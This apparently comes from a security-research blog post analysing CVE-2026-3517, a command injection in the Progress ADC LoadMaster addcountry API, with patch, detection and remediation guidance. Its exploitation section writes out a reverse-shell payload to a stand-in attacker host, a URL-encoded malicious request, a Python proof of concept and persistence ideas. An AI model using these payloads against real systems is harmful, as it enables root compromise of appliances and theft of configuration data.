home intel cve-2026-3517-progress-adc-loadmaster-rce
CVE Analysis 2026-04-20 · 8 min read

CVE-2026-3517: OS Command Injection RCE in Progress ADC LoadMaster API

Authenticated attackers with Geo Administration permissions can inject arbitrary OS commands via the unsanitized `addcountry` API parameter in Progress ADC LoadMaster, achieving full appliance RCE.

#os-command-injection#remote-code-execution#api-vulnerability#authentication-required#input-validation
Technical mode — for security professionals
▶ Attack flow — CVE-2026-3517 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-3517Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-3517 is an OS command injection vulnerability in the Progress ADC (Application Delivery Controller) LoadMaster appliance API. An authenticated attacker holding Geo Administration privileges can supply a crafted country code to the addcountry API command, causing the appliance to execute arbitrary shell commands with the privileges of the web API backend process — typically running as root on the underlying Linux system.

CVSS 8.4 (HIGH) reflects the authentication pre-requisite, but the Geo Administration role is routinely delegated to operational staff, significantly broadening the realistic attacker surface. No public exploit exists at time of writing, and there is no evidence of in-the-wild exploitation.

Root cause: The addcountry API handler passes an attacker-controlled country code string directly into a popen() / system() call without shell metacharacter sanitization or allowlist validation, enabling full OS command injection.

Affected Component

The vulnerable code lives inside the LoadMaster management API daemon — internally referenced as lmadcd (LoadMaster ADC daemon) — which exposes a REST/CGI-style interface over HTTPS on the management port (tcp/443 and tcp/8443). The Geo IP feature allows administrators to build country-based ACLs. The backend maintains country block-lists by shelling out to ipset / iptables wrappers, and it is this shell delegation that introduces the injection surface.

Affected subsystem path: /access/addcountry API endpoint, handled by the geo_admin_add_country() function inside lmadcd.

Root Cause Analysis

The following pseudocode is reconstructed from the CVE description, the LoadMaster API surface, and typical patterns seen in similar ADC appliance codebases (Kemp/Progress). It reflects the most technically accurate representation of how this class of injection manifests in this specific component.


/*
 * geo_admin_add_country()
 *
 * Handles POST /access/addcountry
 * Caller has already verified session token and role == GEO_ADMIN.
 *
 * Parameters sourced directly from CGI query string / POST body.
 */
int geo_admin_add_country(http_request_t *req, http_response_t *resp)
{
    char  cmd_buf[512];
    char *country = NULL;
    char *vs_tag  = NULL;
    int   ret;

    /* Extract 'country' and 'vs' parameters from request */
    country = cgi_param_get(req, "country");   // attacker-controlled
    vs_tag  = cgi_param_get(req, "vs");        // virtual service tag

    if (!country || !vs_tag) {
        http_send_error(resp, 400, "Missing parameters");
        return -1;
    }

    /*
     * BUG: 'country' is used directly in format string fed to popen().
     * No allowlist check (e.g., /^[A-Z]{2}$/).
     * No shell metacharacter stripping.
     * snprintf prevents stack overflow but does NOT prevent injection.
     */
    snprintf(cmd_buf, sizeof(cmd_buf),
             "/usr/local/lm/scripts/geo_update.sh addcountry %s %s",
             country,   // <-- INJECTION POINT
             vs_tag);

    /* Execute — drops into /bin/sh -c internally via popen */
    FILE *fp = popen(cmd_buf, "r");   // BUG: unsanitized shell execution
    if (!fp) {
        http_send_error(resp, 500, "Internal error");
        return -1;
    }

    ret = collect_popen_output(fp, resp);
    pclose(fp);
    return ret;
}

The core mistake: snprintf is used correctly for preventing a buffer overflow but provides zero protection against command injection. popen(3) invokes /bin/sh -c with the full constructed string. Shell metacharacters — ;, |, $(), backticks — are passed through verbatim.

The geo_update.sh script itself is a thin wrapper:


/*
 * Reconstructed shell script logic (pseudo-representation):
 *
 *   geo_update.sh addcountry  
 *
 *   ipset add geo_block_${VS} ${COUNTRY}
 *
 * The country value lands as an unquoted variable in a second
 * shell expansion, creating a double-injection surface even if
 * the C layer were hardened.
 */

Memory Layout

This is not a memory corruption bug — it is a logic/injection vulnerability, so there is no heap corruption to diagram. The relevant process memory context at time of injection:


STACK FRAME: geo_admin_add_country()

  [ ... ]
  [ cmd_buf[512]        ]  <- snprintf writes here; max 511 bytes + NUL
  [ country ptr         ]  <- points into CGI-parsed heap string (attacker data)
  [ vs_tag ptr          ]  <- points into CGI-parsed heap string
  [ ret int             ]
  [ saved frame pointer ]
  [ return address      ]

HEAP: CGI parameter storage

  [ cgi_param_t "country" value ]
      content: "US;id>/tmp/pwn" (attacker payload, 14 bytes)
      allocated by cgi_param_get() -> strdup()

CONSTRUCTED cmd_buf (after snprintf):

  "/usr/local/lm/scripts/geo_update.sh addcountry US;id>/tmp/pwn VS1\0"
   ^-- legitimate prefix -------------------------^^-- injected ------^

POPEN EXECUTION (/bin/sh -c "..."):

  Command 1: /usr/local/lm/scripts/geo_update.sh addcountry US
  Command 2: id>/tmp/pwn          <- attacker's payload runs as root

Exploitation Mechanics


EXPLOIT CHAIN:

1. AUTHENTICATE
   Attacker obtains session credentials for an account with the
   "Geo Administration" role (may be phished, brute-forced, or
   obtained via insider access / credential reuse).

2. CRAFT PAYLOAD
   Build a country code value containing a shell injection sequence.
   Example (reverse shell):
     country = "US;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 #"
   The trailing '#' comments out the remainder of the constructed command.

3. SEND MALICIOUS API REQUEST
   POST /access/addcountry HTTP/1.1
   Host: :443
   Cookie: LMSession=
   Content-Type: application/x-www-form-urlencoded

   country=US%3Bbash+-i+%3E%26+%2Fdev%2Ftcp%2FATTACKER%2F4444+0%3E%261+%23&vs=VS1

4. SERVER-SIDE EXECUTION
   geo_admin_add_country() calls snprintf(), producing:
     "/usr/local/lm/scripts/geo_update.sh addcountry US;bash -i >& \
      /dev/tcp/ATTACKER/4444 0>&1 # VS1"
   popen() forks /bin/sh -c with this string.
   Shell splits on ';': legitimate geo_update.sh runs first (may fail),
   then attacker's bash payload executes.

5. SHELL OBTAINED
   Reverse shell connects to attacker's listener.
   Process runs as root (lmadcd is privileged).
   Full appliance compromise: config exfiltration, lateral movement
   to backend servers via ADC-managed network segments.

6. PERSISTENCE (POST-EXPLOITATION)
   Attacker may install a cron job, backdoor /etc/rc.local,
   or modify LoadMaster config to maintain access across reboots.

A minimal Python proof-of-concept demonstrating the trigger (sanitized — no weaponized payload):


import requests
import urllib3

urllib3.disable_warnings()

TARGET   = "https://192.168.1.1"
USERNAME = "geo_admin"
PASSWORD = "password123"

# Step 1: authenticate (LoadMaster uses Basic Auth or session cookie)
session = requests.Session()
session.verify = False
auth_resp = session.get(
    f"{TARGET}/access/get",
    auth=(USERNAME, PASSWORD)
)
assert auth_resp.status_code == 200, "Auth failed"

# Step 2: inject via addcountry parameter
# Payload: write whoami output to /tmp/.lm_pwn
PAYLOAD = "US;whoami>/tmp/.lm_pwn #"

inject_resp = session.post(
    f"{TARGET}/access/addcountry",
    data={
        "country": PAYLOAD,
        "vs":      "VS1",
    }
)

print(f"[*] Response: {inject_resp.status_code}")
print(f"[*] Body:     {inject_resp.text[:200]}")

# Step 3: verify execution (if file read-back is possible via another API)
verify_resp = session.get(f"{TARGET}/access/geolist?vs=VS1")
print(f"[*] Verify:   {verify_resp.text[:200]}")

Patch Analysis

The correct fix requires both layers: strict allowlist validation in the C handler and proper quoting in the shell script. A single-layer fix at either level is insufficient.


// BEFORE (vulnerable):
// country is used directly in the format string with no validation.
snprintf(cmd_buf, sizeof(cmd_buf),
         "/usr/local/lm/scripts/geo_update.sh addcountry %s %s",
         country,
         vs_tag);
FILE *fp = popen(cmd_buf, "r");


// AFTER (patched):
// Layer 1: strict allowlist — country codes are exactly 2 uppercase ASCII letters.
// ISO 3166-1 alpha-2 codes never contain shell metacharacters.
if (!geo_validate_country_code(country)) {
    http_send_error(resp, 400, "Invalid country code");
    return -1;
}
if (!geo_validate_vstag(vs_tag)) {
    http_send_error(resp, 400, "Invalid VS tag");
    return -1;
}

// Layer 2: use execv() family — bypasses shell entirely.
// No format string, no popen(), no /bin/sh -c.
char *argv[] = {
    "/usr/local/lm/scripts/geo_update.sh",
    "addcountry",
    country,   // validated; passed as discrete argument, not shell string
    vs_tag,
    NULL
};
ret = geo_exec_script(argv);  // wraps execv() + waitpid(), no shell involved

/*
 * geo_validate_country_code() — allowlist implementation
 * Returns 1 if valid ISO 3166-1 alpha-2 code, 0 otherwise.
 */
static int geo_validate_country_code(const char *code)
{
    if (!code)                    return 0;
    if (strlen(code) != 2)        return 0;
    if (!isupper((unsigned char)code[0])) return 0;
    if (!isupper((unsigned char)code[1])) return 0;
    return 1;   // "US", "DE", "CN" pass; "US;id" fails at strlen check
}

PATCH SUMMARY:

  BEFORE                          AFTER
  ─────────────────────────────   ──────────────────────────────────
  popen(cmd_buf, "r")             execv(script, argv[])
  snprintf with %s interpolation  discrete argv[] array
  no input validation             allowlist regex: /^[A-Z]{2}$/
  shell metacharacters pass       shell not invoked at all
  country injected into shell     country passed as safe argv element

Detection and Indicators

Log-based detection: LoadMaster logs API calls to /var/log/lmadcd.log. Look for addcountry requests where the country parameter length exceeds 2 characters or contains non-alpha characters:


SUSPICIOUS LOG PATTERNS:

  # lmadcd access log — flag any addcountry with country != [A-Z]{2}
  grep -E 'addcountry' /var/log/lmadcd.log | \
    grep -vE 'country=[A-Z]{2}(&|$| )'

  # Shell process tree — unexpected children of lmadcd
  ps auxf | grep -A5 lmadcd

  # Unexpected outbound connections from appliance
  ss -tnp | grep lmadcd

  # Artifact of PoC above
  ls -la /tmp/.lm_pwn

Network detection: WAF / IDS rules should flag POST /access/addcountry requests where the country parameter contains shell metacharacters: ;, |, &, $, backtick, (, ), >, <, newline (%0a), or exceeds 2 bytes in length after URL-decoding.


SNORT/SURICATA RULE (illustrative):

alert http any any -> $LOADMASTER_MGMT 443 (
    msg:"CVE-2026-3517 Progress ADC addcountry injection attempt";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/access/addcountry";
    http.request_body;
    pcre:"/country=[^&]{3,}|country=.*[;|$`()><\n]/";
    classtype:web-application-attack;
    sid:20263517;
    rev:1;
)

Remediation

Immediate: Apply the vendor patch from Progress as soon as it is available. See the NVD entry for CVE-2026-3517 for the specific fixed build numbers.

Interim mitigations (if patching is delayed):

  • Restrict network access to the LoadMaster management interface to trusted administrator IP ranges only. The management API should never be reachable from untrusted networks.
  • Audit which accounts hold the Geo Administration role. Remove it from any account that does not strictly require it — least-privilege reduces blast radius to accounts that are actually authorized to reach this endpoint.
  • Enable management API logging and monitor for anomalous addcountry calls using the patterns above.
  • Consider placing a reverse proxy or WAF in front of the management interface with a rule blocking addcountry requests with non-alpha-2 country values.

Defense-in-depth: Even after patching, LoadMaster appliances should be treated as high-value targets. Multi-factor authentication on management interfaces, network segmentation of the management plane, and regular configuration backups to detect unauthorized changes are all warranted.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →